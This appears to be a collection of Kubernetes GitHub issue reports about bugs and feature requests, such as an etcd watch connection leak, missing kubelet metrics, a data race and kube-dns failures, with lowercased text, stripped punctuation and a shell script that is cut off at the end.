https://github.com/rook/rook/issues/1330.\r \r   environment  :\r - kubernetes 1.9.1\r - coreos 1576.5.0\r

is this a bug report or feature request?  :\r   \r   what happened  :\r currently encryption config parsing uses a non-standard parsing method that pays no attention to the version of the config:\r \r https://github.com/kubernetes/kubernetes/blob/dce1b881284a103909f5cfa969ff56e5e0565362/staging/src/k8s.io/apiserver/pkg/server/options/encryptionconfig/config.go l67-l79\r \r   what you expected to happen  :\r - the types must change to use standard methods for including kind/apiversion  inlining metav1.typemeta like all other objects \r - define a versioned config  we can promote straight to v1beta1 if we don't require any structural changes \r - parsing must require well-formed config files\r \r   anything else we need to know?  :\r requested by @liggitt and extracted from https://github.com/kubernetes/kubernetes/pull/61592 issuecomment-375655819\r \r steps to be done:\r -     fix type definition to actually be a runtime object, inline typemeta, etc\r -     define v1beta1 api types, generate conversions/defaults\r -     define scheme/codecs that have the external  v1beta1  and internal  existing  types registered\r -     use that scheme/codec to load the config  handles decoding the v1beta1 version, conversion to internal version \r \r cc @marrrvin

hi, \r \r i'm having troubles settings up access to docker image in a private container registry. this registry  ibm cloud  indeed relies on token to authenticate. the way i've tried  thanks to: https://kubernetes.io/docs/tasks/configure-pod-container/pull-image-private-registry/ and the api reference  didn't work and doesn't show any way of getting it to work properly.\r \r when i'm outputting the content of the secret, it works perfectly and gives me username etc, but i've tried setting with flags such as docker-auth or something to make it look my docker config.json, but it didn't work out since the flags are not supported.\r \r anyone ran into this kind of issue?\r \r of course the status of my eventual pods is imagepullbackoff.\r \r >  \r   environment  :\r - kubernetes version  use  kubectl version  : 1.10\r - cloud provider or hardware configuration: ibm registry, on local minikube  0.26 \r - os  e.g. from /etc/os-release : ubuntu bionic beaver\r - kernel  e.g.  uname -a  : 4.15.0-13\r - install tools:\r - others:\r

is this a bug report or feature request?  : bug\r \r  \r \r   what happened  : i am trying to get  kubelet_volume_   metrics working. according this https://github.com/google/cadvisor/issues/1702 issuecomment-344324219 there should be support after 1.8 kube. however, i am now using kube 1.10.1 and still i cannot see anything in  /metrics ? should these be there or not?\r \r     \r  root@kube-dev-node-1-1 log   ifconfig eth0\r eth0: flags=4163<up,broadcast,running,multicast>  mtu 1450\r         inet 192.168.18.9  netmask 255.255.255.0  broadcast 192.168.18.255\r         inet6 fe80::f816:3eff:fe4f:a183  prefixlen 64  scopeid 0x20<link>\r         ether fa:16:3e:4f:a1:83  txqueuelen 1000   ethernet \r         rx packets 9409  bytes 4087711  3.8 mib \r         rx errors 0  dropped 0  overruns 0  frame 0\r         tx packets 8731  bytes 4873482  4.6 mib \r         tx errors 0  dropped 0 overruns 0  carrier 0  collisions 0\r \r  root@kube-dev-node-1-1 log   curl -s https://192.168.18.9:10250/metrics -k|grep kubelet_volume|wc -l\r 0\r  root@kube-dev-node-1-1 log   df -h\r filesystem               size  used avail use% mounted on\r /dev/vda1                 11g  1.9g  8.1g  19% /\r devtmpfs                 1.9g     0  1.9g   0% /dev\r tmpfs                    1.9g     0  1.9g   0% /dev/shm\r tmpfs                    1.9g  9.7m  1.9g   1% /run\r tmpfs                    1.9g     0  1.9g   0% /sys/fs/cgroup\r /dev/mapper/misc-docker   15g   47m   14g   1% /var/lib/docker\r tmpfs                    1.9g   12k  1.9g   1% /var/lib/kubelet/pods/b79edabb-416a-11e8-9f3d-fa163e02c5d3/volumes/kubernetes.io~secret/default-token-hvf4r\r tmpfs                    1.9g   12k  1.9g   1% /var/lib/kubelet/pods/c074683f-416a-11e8-9f3d-fa163e02c5d3/volumes/kubernetes.io~secret/weave-net-token-npm5t\r tmpfs                    1.9g   12k  1.9g   1% /var/lib/kubelet/pods/b79dbbb3-416a-11e8-9f3d-fa163e02c5d3/volumes/kubernetes.io~secret/default-token-hvf4r\r tmpfs                    1.9g   12k  1.9g   1% /var/lib/kubelet/pods/fbfe4b47-416a-11e8-9f3d-fa163e02c5d3/volumes/kubernetes.io~secret/default-token-jbbs6\r /dev/vdb                 7.8g   36m  7.3g   1% /var/lib/kubelet/plugins/kubernetes.io/cinder/mounts/8810cc18-525b-42bb-a894-4c5eb1620305\r tmpfs                    380m     0  380m   0% /run/user/1000\r    \r \r \r   what you expected to happen  : i except that kubelet should expose prometheus metrics to /metrics path as well. then it is easy to read with prometheus.\r \r   how to reproduce it  as minimally and precisely as possible   : create new cinder volume, attach it to pod and try to query result from  /metrics  in kubelet\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.10.1\r - cloud provider or hardware configuration: openstack\r - os  e.g. from /etc/os-release : centos 7\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r \r  \r  \r   what happened  :\r \r a previous patch  f0b5e2d7c5c4bb77a2b14a8dc4ba85ec63dc1b12  removed all the remaining examples/ yaml files, which were still used by some tests, mostly from examples.go:\r \r should create and stop redis servers\r should start spark master, driver and workers\r should create and scale cassandra\r cassandrastatefulset should create statefulset\r should create and stop zookeeper, nimbus and storm worker servers\r should create and stop rethinkdb servers\r should create and scale hazelcast\r \r since the yaml files on which these tests relied on, they no longer pass.\r \r   what you expected to happen  :\r \r for the mentioned files to exist, so the tests can pass.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r run the mentioned tests.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : master\r - cloud provider or hardware configuration: n/a\r - os  e.g. from /etc/os-release : n/a\r - kernel  e.g.  uname -a  : n/a\r - install tools: n/a\r - others: n/a\r

\r   is this a bug report or feature request?  :\r \r  \r \r   what happened  : the api server can get into a state where it's etcd client can no longer process connections, and therefore all calls to an endpoint that uses that client will 504  timeout . i've observed this specially in this situation:\r \r we turned on datadog-agent v6 which does a watch on the events resource to collect events. shortly afterwards, we noticed that the events api would stop processing requests and always 504. this is the offending code in datadog: https://github.com/datadog/datadog-agent/blob/7820efa6b45722ce141e6af46cb0d4ef966e4e7d/pkg/util/kubernetes/apiserver/events.go\r \r after spending sometime debugging this, i was able to reproduce the problem via a straightforward program that mimics the same behavior - see this gist: https://gist.github.com/mahmoudm/287824642c963011d49413fd3b9552da\r \r specifically, if you are doing watch calls, and then stopping the watch before the api-server got the chance to respond, you are leaking connections in the corresponding etcd client. eventually, the client runs out of grpc streams and all calls get stuck waiting for new streams. see this thread dump of an api-server in that state: https://gist.github.com/mahmoudm/94ad32718b54f86f3ecfc1f9fe02bff2\r \r note the 287 goroutines stuck at k8s.io/kubernetes/vendor/google.golang.org/grpc/transport.wait, waiting for a stream. \r \r \r   what you expected to happen  :\r \r i expect that terminating watchs in the pattern described above should not cause the api server to get into a state where the corresponding resource stops working entirely. \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1  build and compile the go code in https://gist.github.com/mahmoudm/287824642c963011d49413fd3b9552da\r \r 2  run the binary with values such that your watch call times out before it receives a response. in other words, there needs to be enough load on your etcd cluster that you don't receive a response before calling stop   on the watcher. i am able to reproduce it with these values:\r \r  ./watchs-spam ~/.kube/config 100ms 50ms\r with a 2000 pod deployment, and 100 nodes on my cluster. \r \r 3  observe that after a few minutes, the events api will no longer respond and will consistently return 504s for any event call. if you look at the goroutines, you'll see that they are all stuck waiting for streams since they are no longer able to acquire any.\r \r   anything else we need to know?  :\r \r \r   environment  :\r - kubernetes version  use  kubectl version  : i was able to repro on both 1.9.8 and 1.10.5\r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : centos linux 7\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

what happened  : executed command    kubectl get nodes    but it took more than a minute to return result\r \r   what you expected to happen  : i expected to see the output almost instantly\r \r   how to reproduce it  as minimally and precisely as possible   : install kubernetes on centos vm with details as mentioned in environment section below\r \r   anything else we need to know?  :\r   logs  \r 1     kubectl get nodes   \r    \r name           status   roles                      age     version\r 10.150.16.54   ready    controlplane,etcd,worker   2d21h   v1.13.5\r 10.150.16.55   ready    controlplane,etcd,worker   2d21h   v1.13.5\r 10.150.16.56   ready    controlplane,etcd,worker   2d21h   v1.13.5\r    \r \r 2.    kubectl get pod -o wide -v=10   \r kindly refer attachment:  get_pod.log  https://github.com/kubernetes/kubernetes/files/3147129/get_pod.log \r \r \r   environment  :\r - kubernetes version  use  kubectl version  :    kubectl version   \r    \r client version: version.info{major:\ 1\ , minor:\ 14\ , gitversion:\ v1.14.1\ , gitcommit:\ b7394102d6ef778017f2ca4046abbaa23b88c290\ , gittreestate:\ clean\ , builddate:\ 2019-04-08t17:11:31z\ , goversion:\ go1.12.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.5\ , gitcommit:\ 2166946f41b36dea2c4626f90a77706f426cdea2\ , gittreestate:\ clean\ , builddate:\ 2019-03-25t15:19:22z\ , goversion:\ go1.11.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration: 3 vms for kubernetes node + 1 vm for running    kubectl    and rke  rancher kubernetes engine . all four machines have centos installed with the same version details as mentioned below.\r \r - os  e.g:  cat /etc/os-release  :    cat /etc/ release   \r \r    \r centos linux release 7.6.1810  core \r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r \r centos linux release 7.6.1810  core \r centos linux release 7.6.1810  core \r \r    \r - kernel  e.g.  uname -a  :  linux mybox 3.10.0-693.17.1.el7.x86_64  1 smp thu jan 25 20:13:58 utc 2018 x86_64 x86_64 x86_64 gnu/linux \r \r - install tools:    docker version   \r \r    \r client:\r  version:           18.09.5\r  api version:       1.39\r  go version:        go1.10.8\r  git commit:        e8ff056\r  built:             thu apr 11 04:43:34 2019\r  os/arch:           linux/amd64\r  experimental:      false\r \r server: docker engine - community\r  engine:\r   version:          18.09.5\r   api version:      1.39  minimum version 1.12 \r   go version:       go1.10.8\r   git commit:       e8ff056\r   built:            thu apr 11 04:13:40 2019\r   os/arch:          linux/amd64\r   experimental:     false\r \r    \r - network plugin and version  if this is a network-related bug :\r - others: similar delay is noticed when i run    kubectl get service    command\r \r    \r name         type        cluster-ip   external-ip   port s    age\r kubernetes   clusterip   10.43.0.1    <none>        443/tcp   109d\r \r    \r \r any help will really be appreciated.\r \r 

if we don't provide the  --tls-private-key-file=  option along  --tls-cert-file=\ /var/run/kubernetes/xyz.crt\  , we get a cryptic error message in the kubelet logs:      i0909 04:06:43.217854   32380 server.go:63  starting to listen on 127.0.0.1:10250 f0909 04:06:43.219260   32380 server.go:72  open : no such file or directory      probably we can clean this up in the flags somehow.   i stumbled into this in trying to better understand certs, so i'm probably not the best person to fix it : ...  but maybe i can give it a shot

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gce-serial/1767/  failed:  k8s.io  etcd failure  disruptive  should recover from sigkill {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/etcd_failure.go:66 expected error:     < errors.errorstring | 0xc820079fc0>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred

i hit this:\r    \r ==================\r warning: data race\r write at 0x00c4201f4de0 by goroutine 99:\r   runtime.mapdelete  \r       /usr/local/go/src/runtime/hashmap.go:558 +0x0\r   k8s.io/kubernetes/pkg/apis/autoscaling/v1.convert_v1_horizontalpodautoscaler_to_autoscaling_horizontalpodautoscaler  \r       /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/apis/autoscaling/v1/conversion.go:122 +0x1012\r   runtime.call64  \r       /usr/local/go/src/runtime/asm_amd64.s:480 +0x4b\r   reflect.value.call  \r       /usr/local/go/src/reflect/value.go:302 +0xc0\r   k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/conversion.  converter .callcustom  \r       /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/conversion/converter.go:586 +0x338\r   k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/conversion.  converter .convert  \r       /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/conversion/converter.go:623 +0x5e8\r   k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/conversion.  converter . k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/conversion.convert -fm  \r       /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/conversion/converter.go:526 +0x9a\r   k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/conversion.  converter .doconversion  \r       /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/conversion/converter.go:563 +0x517\r   k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/conversion.  converter .convert  \r       /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/conversion/converter.go:526 +0x302\r   k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/runtime.  scheme .converttoversion  \r       /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/runtime/scheme.go:565 +0xdea\r   k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/runtime.  scheme .unsafeconverttoversion  \r       /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/runtime/scheme.go:501 +0x78\r   k8s.io/kubernetes/pkg/controller/podautoscaler.unsafeconverttoversionvia  \r       /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/controller/podautoscaler/horizontal.go:64 +0x115\r   k8s.io/kubernetes/pkg/controller/podautoscaler.  horizontalcontroller .reconcileautoscaler  \r       /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/controller/podautoscaler/horizontal.go:280 +0xe9\r   k8s.io/kubernetes/pkg/controller/podautoscaler.newhorizontalcontroller.func1  \r       /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/controller/podautoscaler/horizontal.go:117 +0xb9\r   k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache.resourceeventhandlerfuncs.onadd  \r       /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/controller.go:192 +0x5b\r   k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache.  resourceeventhandlerfuncs .onadd  \r       <autogenerated>:54 +0x9c\r   k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache.  processorlistener .run  \r       /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/shared_informer.go:547 +0x477\r \r previous read at 0x00c4201f4de0 by goroutine 98:\r   reflect.maplen  \r       /usr/local/go/src/runtime/hashmap.go:1044 +0x0\r   reflect.value.len  \r       /usr/local/go/src/reflect/value.go:1006 +0x206\r   reflect.deepvalueequal  \r       /usr/local/go/src/reflect/deepequal.go:106 +0x724\r   reflect.deepvalueequal  \r       /usr/local/go/src/reflect/deepequal.go:97 +0xe09\r   reflect.deepvalueequal  \r       /usr/local/go/src/reflect/deepequal.go:97 +0xe09\r   reflect.deepvalueequal  \r       /usr/local/go/src/reflect/deepequal.go:94 +0xc9b\r   reflect.deepequal  \r       /usr/local/go/src/reflect/deepequal.go:185 +0x2bb\r   k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache.  defaultcachemutationdetector .compareobjects  \r       /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/mutation_detector.go:121 +0x14d\r   k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache.  defaultcachemutationdetector .run.func1  \r       /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/mutation_detector.go:84 +0x50\r \r goroutine 99  running  created at:\r   k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache.  sharedprocessor .run  \r       /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/shared_informer.go:402 +0xe1\r   k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache.  sharedindexinformer .run  \r       /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/shared_informer.go:212 +0x600\r \r goroutine 98  running  created at:\r   k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache.  defaultcachemutationdetector .run  \r       /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/mutation_detector.go:92 +0x56\r   k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache.  sharedindexinformer .run  \r       /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/shared_informer.go:211 +0x5d0\r ==================\r found 1 data race s \r fail\tk8s.io/kubernetes/pkg/controller/podautoscaler\t6.310s\r    \r \r cc @jszczepkowski @ncdc for shared informers\r \r @wojtek-t @deads2k @lavalamp

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r testtcphealthchecker, pkg/probe/tcp\r \r ---\r \r   is this a bug report or feature request?    choose one :\r bug report\r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r 1.6\r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r sles 12\r -   kernel    e.g.  uname -a  :\r linux 3.12.28-4-default ppc64le\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r make test what=\ ./pkg/probe/tcp\ \r running tests for apiversion: v1,apps/v1beta1,authentication.k8s.io/v1,authentication.k8s.io/v1beta1,authorization.k8s.io/v1,authorization.k8s.io/v1beta1,autoscaling/v1,autoscaling/v2alpha1,batch/v1,batch/v2alpha1,certificates.k8s.io/v1beta1,extensions/v1beta1,imagepolicy.k8s.io/v1alpha1,policy/v1beta1,rbac.authorization.k8s.io/v1beta1,rbac.authorization.k8s.io/v1alpha1,settings.k8s.io/v1alpha1,storage.k8s.io/v1beta1,storage.k8s.io/v1,federation/v1beta1\r +++  0403 10:39:08  running tests without code coverage\r --- fail: testtcphealthchecker  0.00s \r         tcp_test.go:86:  1: expected output=one of   string{\ unknown port\ , \ servname not supported for ai_socktype\ , \ nodename nor servname provided, or not known\ , \ dial tcp: invalid port\ }, get=dial tcp: address -1: invalid port\r fail\r fail    k8s.io/kubernetes/pkg/probe/tcp 0.004s\r makefile:164: recipe for target 'test' failed\r make:      test  error 1\r \r \r   what you expected to happen  :\r test case passes\r \r   how to reproduce it    as minimally and precisely as possible :\r make test what=\ ./pkg/probe/tcp\ \r \r   anything else we need to know  :\r \r found similar issue: https://github.com/kubernetes/kubernetes/issues/15952\r \r but the pr fix is for pkg/probe/http\r

see: https://github.com/kubernetes/kubernetes/blob/master/changelog.md/ v170\r \r all the links are shown like below format.\r \r     39164  https://github.com/kubernetes/kubernetes/pull/39164 ,  @danwinship  https://github.com/danwinship   \r \r /cc @dchen1107 \r @kubernetes/kubernetes-release-managers

this is not a critical issue, but validation tests are a mess. each one is using slightly different mechanism to produce examples and check for errors, even though they are doing exactly the same thing. it should be rewritten using some uniform mechanism.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r >  \r \r \r   what happened  :\r \r when trying to list object using field  spec.schedulername, we are getting the below error message.\r \r \r   failed to list    v1.pod  : field label not supported: spec.schedulername  \r \r   what you expected to happen  :\r \r to be able to fetch pods using the list and watch based on the field 'spec.schedulername'\r \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create a simple controller to with a list and watch method.\r set the fieldselector    in the listoptions structure   in the listfunc and the watchfunc to 'spec.schedulername=custome-schedulername'\r running this controller yields the above error.\r \r \r   anything else we need to know?  :\r \r description:\r \r unable to fetch pods based on the field 'spec.schedulername'.\r this was added in 1.6 version, for multi scheduler support in kubernetes.\r \r we need to be able to fetch pods \r \r 1  assigned to a particular custom scheduler.\r 2  should be able to fetch the state transition of the pods scheduled by a custom scheduler using the fields selector.\r \r   whats the correct way to use 'schedulername' fields for fetching objects?\r   or is there any other way for the custom scheduler to determine the above information from the kubernetes?\r   \r   \r   this is an urgent issue, any quick help/suggestion will be of great help.\r   \r   \r \r   environment  :\r - kubernetes version :\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0\ , gitcommit:\ d3ada0119e776222f11ec7945e6d860061339aad\ , gittreestate:\ clean\ , builddate:\ 2017-06-29t23:15:59z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.1\ , gitcommit:\ 1dc5c66f5dd61da08412a74221ecc79208c2165b\ , gittreestate:\ clean\ , builddate:\ 2017-07-14t01:48:01z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - install tools: kubeadm\r \r \r @kubernetes/sig-scheduling-bugs\r \r @davidopp \r @deepak-vij \r

insufficient documentation  :\r \r clear documentation for hpa custom metrics based scaling is not available.\r \r documentation required for both  \r   minikube\r   google container engine

i tried to add the  nonewprivs  support for  cri-containerd , but the  test-e2e-node  always failed with the error print:\r    \r e0825 13:03:23.824134     814 pod_workers.go:182  error syncing pod 29b8ba92-8952-11e7-93c7-5254003d4460  \ alpine-nnp-false-29ab6dfa-8952-11e7-958f-5254003d4460_e2e-tests-security-context-test-4jdbq 29b8ba92-8952-11e7-93c7-5254003d4460 \  , skipping: pod cannot be run: cannot enforce nonewprivs: containerd runtime not supported\r    \r \r i checked the code of k8s, and found that \ nonewprivs\  is admitted only if the runtime is docker or rkt in kubelet. related code is as follows:\r https://github.com/kubernetes/kubernetes/blob/0cf928f6813741d9699786ee61ec014c90119e2c/pkg/kubelet/lifecycle/handlers.go l190-l225\r \r maybe we should define a interface to get the capability of \ nonewprivs\  form runtime-shim.\r \r @random-liu @mikebrow

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  : feature request\r \r > uncomment only one, leave it on its own line: \r >\r >  \r  \r scheduler extenders do not have any interface for preemption. as a result, scheduler has to send preemption candidate node and its set of victim pods to the extender one at a time. this is inefficient.\r scheduler extenders interface should be extended to support preemption. the workflow should be as follows:\r 1. internal scheduler finds a set of nodes and a set of victim on each of these nodes.\r 2. all of these nodes and victims are sent to the extenders via the new verb in one batch. extenders return a subset of the given nodes and any additional victims on the nodes.\r 3. internal scheduler scores the nodes and picks the best one for preemption.\r \r @kubernetes/sig-scheduling-feature-requests \r

is this a bug report or feature request?  :\r  \r   what happened  :\r  46940 add 'splitproviderid' for azure to get node name from provider, but it captures the resource id instead of node name.\r \r functions such as nodeaddresses are accepting node names:\r https://github.com/kubernetes/kubernetes/blob/84d9778f225cdf8046774d56d47b1e264e47499f/pkg/cloudprovider/providers/azure/azure_instances.go l32\r \r with current implementation, it takes in a resource id, and will result in following error\r    \r e0830 04:15:09.877143   10427 azure_instances.go:63  error: az.nodeaddresses, az.getipformachine /subscriptions/{id}/resourcegroups/{id}/providers/microsoft.compute/virtualmachines/k8s-master-0 , err=instance not found\r    \r \r pr 51588 is ready for a fix,this is to add a tracking issue.

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r after  kubectl create -f kube-dns.yaml , kube-dns failed to start\r \r   what you expected to happen  :\r kube-dns works\r   how to reproduce it  as minimally and precisely as possible   :\r i can confirm that services which have type nodeport can be accessed by node:port, but kube-dns addon does not work. i appllied kube-dns.yaml after a fresh installation of kubernetes\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-26t16:55:54z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-26t16:44:10z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration:\r  no cloud provider, hardware :thinpad x1\r - os  e.g. from /etc/os-release :\r  arch linux\r - kernel  e.g.  uname -a  :\r  linux arch 4.16.11-1-arch  1 smp preempt tue may 22 21:40:27 utc 2018 x86_64 gnu/linux\r - install tools:\r  aur, the same official binary.\r - others:\r  i have logs of each container in pod kube-dns:\r \r  kubectl logs --namespace kube-system kube-dns-7c7877989-nw764 dnsmasq \r failed to open log file \ /var/log/pods/c2a8c2a5-6355-11e8-ab9a-34415d30919d/dnsmasq/1.log\ : open /var/log/pods/c2a8c2a5-6355-11e8-ab9a-34415d30919d/dnsmasq/1.log: no such file or directory \r \r  kubectl logs --namespace kube-system kube-dns-7c7877989-nw764 kubedns \r failed to open log file \ /var/log/pods/c2a8c2a5-6355-11e8-ab9a-34415d30919d/kubedns/2.log\ : open /var/log/pods/c2a8c2a5-6355-11e8-ab9a-34415d30919d/kubedns/2.log: no such file or directory \r \r  kubectl logs --namespace kube-system kube-dns-7c7877989-nw764 sidecar \r i0529 15:34:23.965534       1 main.go:51  version v1.14.8.3\r i0529 15:34:23.965594       1 server.go:45  starting server  options {dnsmasqport:53 dnsmasqaddr:127.0.0.1 dnsmasqpollintervalms:5000 probes: {label:kubedns server:127.0.0.1:10053 name:kubernetes.default.svc.cluster.local. interval:5s type:33} {label:dnsmasq server:127.0.0.1:53 name:kubernetes.default.svc.cluster.local. interval:5s type:33}  prometheusaddr:0.0.0.0 prometheusport:10054 prometheuspath:/metrics prometheusnamespace:kubedns} \r i0529 15:34:23.965634       1 dnsprobe.go:75  starting dnsprobe {label:kubedns server:127.0.0.1:10053 name:kubernetes.default.svc.cluster.local. interval:5s type:33}\r i0529 15:34:23.965664       1 dnsprobe.go:75  starting dnsprobe {label:dnsmasq server:127.0.0.1:53 name:kubernetes.default.svc.cluster.local. interval:5s type:33}\r w0529 15:34:23.965864       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:57498->127.0.0.1:53: read: connection refused \r

need to push the latest coredns image to gcr.io\r the 1.3.1 image is available in docker coredns/coredns:1.3.1\r \r  \r this is the script used for pushing the image:\r \r    \r  !/bin/sh\r \r if   -z \ $1\  -o -z \ $2\  -o -z \ $3\  -o -z \ $4\   ; then\r     echo \ usage: $0 <src-reg> <image> <tag> <dst-reg>\  > /dev/stderr\r     echo \ example: $0 coredns coredns 1.3.1 staging-k8s.gcr.io\  > /dev/stderr\r     exit 1\r fi\r \r src_reg=\ $1\ \r img=\ $2\ \r tag=\ $3\ \r dst_reg=\ $4\ \r tmp=\ /tmp/$random\ \r json=\ $tmp.json\ \r \r echo \ fetching source manifest\ \r docker manifest inspect ${src_reg}/${img}:${tag} > ${json}\r \r echo\r echo \ pulling source images by sha\ \r cat ${json} \\\r     | jq -j \ .manifests   | \\\ ${src_reg}/${img}@\\\ , .digest, \\\ \ \\\  \  \\\r     | while read x; do docker pull $x; done\r \r echo\r echo \ tagging images with arch and os\ \r cat ${json} \\\r     | jq -j \ .manifests   | \\\ docker tag ${src_reg}/${img}@\\\ , .digest, \\\  ${dst_reg}/${img}:${tag}__\\\ , .platform.architecture, \\\ _\\\ , .platform.os, \\\ \ \\\ \  \\\r     | while read x; do $x; done\r \r echo\r echo \ pushing images\ \r cat ${json} \\\r     | jq -j \ .manifests   | \\\ gcloud docker -- push ${dst_reg}/${img}:${tag}__\\\ , .platform.architecture, \\\ _\\\ , .platform.os, \\\ \ \\\ \  \\\r     | while read x; do $x; done\r \r echo\r echo \ creating and pushing manifest\ \r platforms=$ cat ${json} | jq -j \ .manifests   | .platform.os, \\\ /\\\ , .platform.architecture, \\\ \ \\\ \  | paste -sd, \r echo manifest-tool push from-args \\\r     --platforms \ ${platforms}\  \\\r     --template 